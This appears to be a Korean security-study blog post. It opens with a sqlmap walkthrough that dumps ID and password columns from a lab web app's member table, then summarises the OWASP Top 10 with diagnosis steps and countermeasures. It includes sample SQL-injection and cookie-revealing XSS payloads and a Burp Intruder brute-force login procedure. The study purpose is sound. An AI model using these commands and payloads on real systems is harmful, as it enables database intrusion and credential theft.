2016. 1. 27. 09:06 :: 웹 보안

1. SQLMap 도구 사용

가. Blind SQL Injection 을 자동으로 해주는 도구

나. 환경 준비

1) Pyhton 설치

https://www.python.org/

2) sqlmap 설치

http://sqlmap.org/

 

다. 도구 실행

1) cmd 에서 sqlmap 위치로 이동

2) sqlmap 실행

# cmd> python sqlmap.py 

3) 파라미터가 잇는 url 선택

http://192.168.1.144/board/board_view.asp?num=61

4) 실행

# python sqlmap.py -u "http://192.168.1.144/board/board_view.asp?num=61" -v 5

5) 기본 정보 확인 

# python sqlmap.py -u "http://192.168.1.144/board/board_view.asp?num=61" -v 5

 

6) 데이터베이스 이름을 가져오는 명령

# python sqlmap.py -u "http://192.168.1.144/board/board_view.asp?num=61" -v 5 --dbms="Microsoft SQL Server" --os="Windows" --dbs 

 

7) board 데이터베이스의 tables 를 확인

# python sqlmap.py -u "http://192.168.1.144/board/board_view.asp?num=61" -v 5 --dbms="Microsoft SQL Server" --os="Windows" -D "board" --tables 

 

8) board 데이터베이스의 member 테이블의 columns 를 확인

# python sqlmap.py -u "http://192.168.1.144/board/board_view.asp?num=61" -v 5 --dbms="Microsoft SQL Server" --os="Windows" -D "board" -T "member" --columns 

 

9) member 테이블의 Id, Name, Pass 필드를 확인(실제 원하는 값 확인)

# python sqlmap.py -u "http://192.168.1.144/board/board_view.asp?num=61" -v 5 --dbms="Microsoft SQL Server" --os="Windows" -D "board" -T "member" -C bId,bName,bPass --dump 

 

2. OWASP Top 10

A1 - 인젝션

가. 데이터베이스와 연결된 웹 어플리케이션에서 사용자의 입력에 대한 검증이 제대로 이루어지지 않을 경우, 공격자에 의해 URL, 로그인 form 등의 위치에 조작된 query 문을 삽입하여 인증을 우회하거나, 데이터베이스 정보를 열람, 조작, 시스템 명령 실행등이 가능한 취약점

나. 진단방법

1) ' (Single Quatation) 삽입시 에러 발생 시 취약 진단

2) query에 참/거짓 결과가 다르게 출력

- and 1=1

- and 1=2

다. 대책

1) 개발자의 시큐어 코딩 필요

2) 웹 방화벽 등에서 입력 값 필터링

- ', or, and, union 등 SQLi 공격에 사용되는 문자열 필터링 : 블랙리스트

- 허용된 입력 값만 필터링 : 화이트리스트

 

A2 - 인증 및 세션 관리

가. 사용자를 인증하고 인증된 사용자를 관리하는 세션 관리 매커니즘이 불충분하여 취약점이 발생

암호화 없이 정보를 저장/전송하여 세션 정보가 노출

나. 유형

1) Cookie Poisoning

2) Session Reply Attack

3) Brute Attack

다. 진단 방법

1) Cooxie Toolbar 사용하여 쿠키값 조작이 가능한지 확인

2) 동일한 SessionID로 동시접속이 가능한지 확인

3) 아이디/패스워드 입력 오류 발생 시 차단정책 확인

라. 대책

1) 패스워드 정책 강화

2) 입력오류 누적시 차단정책 설정

3) 데이터 전송 암호화(SSL)

4) 중요 데이터 쿠키 저장 금지

5) 세션 타임아웃 시간 단축

6) 동시접속 로그인 금지

마. 실습

1) java 설치

http://java.com/ko/download/

2) burp(Web Proxy) 다운

https://portswigger.net/

- .jar 파일은 자바가 설치되어있어야 실행가능

- .jar 파일이 알집으로 열린다면 알집의 설정에서 jar 확장자를 해제해준다.

- Paros Web Proxy 도 같은 기능의 도구

3) 웹사이트에 아이디/패스워드를 입력한다.(틀려도 됨)

4) burp 에서 아래의 탭에서 자신이 입력했던 아이디/패스워드가 넘어가는 내용을 찾는다.

 

5) 우클릭 -> Send to Intruder

 

6) Intruder 탭 선택 -> 타겟을 확인한다. 

 

7) Positions 에서 Attack type -> Cluster bomb 선택 -> 입력할 필드를 선택한다.(아이디/패스워드)

 

8) Payloads 탭에서 7번에서 선택한 아이디/패스워드 에 입력될 내용들을 추가해준다.(Dictionary) 

 

9) 설정 완료 후 오른쪽 위쪽에 Start Attack 을 누르면 아래와 같이 모든 경우의 수를 입력하여 찾게된다.  

- Length 부분이 하나가 다르게 나오는데 내용을 확인하면 정상적으로 로그인이 되는 내용임을 알 수 있다.

 

A3 - 크로스 사이트 스크립팅(XSS)

가. 서버에 악의적인 스크립트를 포함시켜서 사용자의 브라우저에서 실행을 유도하여 사용자의 브라우저 및 시스템을 제어할 수 있는 약점

서버 측에서 공격자의 입력 검증이 불완전하여 발생

나. 유형

1) Reflected XSS : URL 영역에 사용, URL에 스크립트를 포함시켜서 서버에게 파라미터로 전달하고 서버는 스크립트를 만들어주는

   페이지에 포함시켜 전송

2) Stored XSS : 게시물에 스크립트를 등록, 공격자는 공격 스크립트를 서버에 저장

3) DOM based XSS : document object model 을 사용하여 조작, URL에 스크립트를 포함시키지만 서버에서 파라미터가 처리되지 않고 요청한 페이지가 클라이언트에게 돌아온 후 .........................

다. 진단 방법

1) URL의 파라미터 영역에 '<script>alert('xss');</script> 등의 스크립트 입력

2) 게시물에 <script>document.write(document.cookie);</script> 스크립트 입력

3) 기타 XSS cheat sheet를 사용하여 스크립트 필터링 우회 테스트

라. 대책

1) 스크립트 사용제한

2) HTML 태그 사용 제한 또는 혀옹된 태그만 필터링

3) 스크립트에 악용될 가능성이 있는 문자 치환

 

A4 - 취약한 객체 직접 참조

가. 웹 페이지를 include 하는 부분이 존재할 때, 공격자가 기존 페이지 대신 시스템에 직접 접근 가능한 경로를 삽입하여 시스템 파일이

노출되는 취약점

나. 유형

1) 경로 조작을 통한 시스템 파일 접근(내부 파일 include)

2) WebShell 등 외부 파일 실행(외부 파일 include)

다. 진단 방법

1) 웹 사이트의 URL 주소 상세 점검

2) 취약점 진단 툴을 통해 점검 가능

3) 관리자 뒤 단 페이지, 백업 파일 접근 가능 여부 점검

라. 대책

1) 외부 파일 삽입 금지

2) 에러 페이지는 따로 작성 후 직접 호출방식 사용

3) include 된 파일이 화면에 표시되지 않고 서버측에서 처리하도록 설정

 

A5 - 보안 설정 오류

가. 웹 서버나 웹 어플리케이션 설정 등이 Default 로 유지되고 있거나, 테스트 파일 등이 남아있는 경우 발생하는 취약점

나. 유형

1) 디렉토리 리스팅

2) 오류 메시지 출력

3) Banner Grabbing

다. 진단 방법

1) 디렉토리 리스팅 : URL 에서 파일명, 쿼리 스트링을 삭제하고 요청하여 결과 확인

2) 오류 메시지 점검 : 특수문자, 파라미터 변조, 존재하지 않는 파일 요청 등을 통해 발생하는 에러 페이지 확인

3) http 메소드 점검 : OPTIONS 메소드를 사용하여 허용되는 메소드 파악

4) 테스트 페이지, 기본 설정 페이지 등의 존재 여부 확인

라. 대책

1) 웹 서버 환결설정 보완

2) 웹 서버 구축 완료 후 불필요한 파일 삭제

 

A6 - 민감 데이터 노출

가. 불완전한 암호화 방식 사용으로 민감 데이터가 공격자에게 노출되는 약점

패스워드 정보, 신용카드 등의 개인 정보, 기타 인증과 관련된 정보

나. 유형

1) 암호화 해제

2) 스니핑을 통한 중요정보 노출

다. 진단 방법

1) 와이어샤크 등 패킷 시니핑 도구를 사용하여 패킷을 확인

2) Session Cookie 값의 암호화 해제 리스트

라. 대책

1) 암호화 사용지 강력한 암호화 표준 알고리즘 사용

2) SSL을 사용한 통신

 

A7 - 기능 수준의 접근 통제 누락

가. 사용자의 권한에 따라 웹 어플리케이션의 URL에 접근이 제어되어야 하는데, 세션 등의 관리 미비로 관리자 페이지로 접속하거나,

권한 없는 사용자가 권한을 획득할 수 있는 보안 취약점

나. 유형

1) 권한이 없는 CRUD(create,Read or Retrieve, Update, Delete or Destory)

다. 진단 방법

1) 파라미터 조작을 통한 권한 획득 확인

2) 과리자 페이지 접속 시도

3) 관리자 페이지의 뒷단 페이지 접속 시도

라. 대책

1) CRUD 작업 요청 시 세션 체크

2) 관리자 페이지 접속 시 IP인증/계정인증 등 Two Factor 인증 적용

 

A8 - 크로스 사이트 요청 변조(CSRF)

가. 정상적인 사용자에게 공격자가 명령을 전송하여, 사용자의 브라우저에서 공격자에게 이득이 되는 행동을 수행하게 하는 취약점

나. 유형

1) 관리자를 대상으로 한 공격자의 권한상승 공격

2) 사용자를 대상으로 한 요청 변조 공격

다. 진단 방법

1) 게시물, 웹 메일, 쪽지 등의 XSS 전송 가능 여부 점검

라. 대책

1) POST method 사용

2) Security Validation Token 사용

3) Referer Validation

 

A9 - 알려진 취약점이 있는 컴포넌트 사용

가. 개발에 사용된 컴포넌트, 라이브러리, 프레임워크, 기타 소프트웨어 모듈이 전체 권한이나 버그를 내포하고 있고, 보안 패치 등이 수행되지 않았을 경우, 권한과 버그를 이용하여 시스템을 공격할 수 있는 보안 취약점

나. 유형

1) 사용중인 컴포넌트 파악하여 정보 수집 후 공격

2) Struts, tomcat, WYSIWYG 도구, 오픈소수 게시판

다. 진단 방법

1) 사용중인 어플리케이션의 버전 정보 확인 후 취약점 정보 조회

2) 웹 어플리케이션 소스를 분석하여 사용중인 컴포넌트 파악 후 해당 컴포넌트 소스 다운로드 후 분석

라. 대책

1) 취약점이 존재하는 컴포넌트 배제

2) 사용중인 컴포넌트의 취약점 보완 패치 적용

 

A10 - 검증되지 않은 리다이렉트 및 포워드

가. 다른 페이지로 리다이렉트/포워드 할 때 신뢰 할 수 없는 경로로 이동

신뢰성 검증 부재로 발생하는 보안 취약점

나. 유형

1) <a>, <meta> 등을 사용한 페이지 이동

2) ClickJacking 기법

- 마우스 클릭(onmouseup) 이벤트를 통한 사이트 이동

- 피싱 사이트, 악성코드 유포 경유지 등으로 유인

- 방화벽 설정 변경, 프로그램 다운로드

다. 진단 방법

1) 웹 페이지 소스 리다이렉트/포워드 부분 점검

2) HTML 태그 허용여부 확인

라. 대책

1) HTML 태그 필터링 : 허용 문자만 입력하도록 화이트리스트 기반 필터링 적용

posted by Red_Seek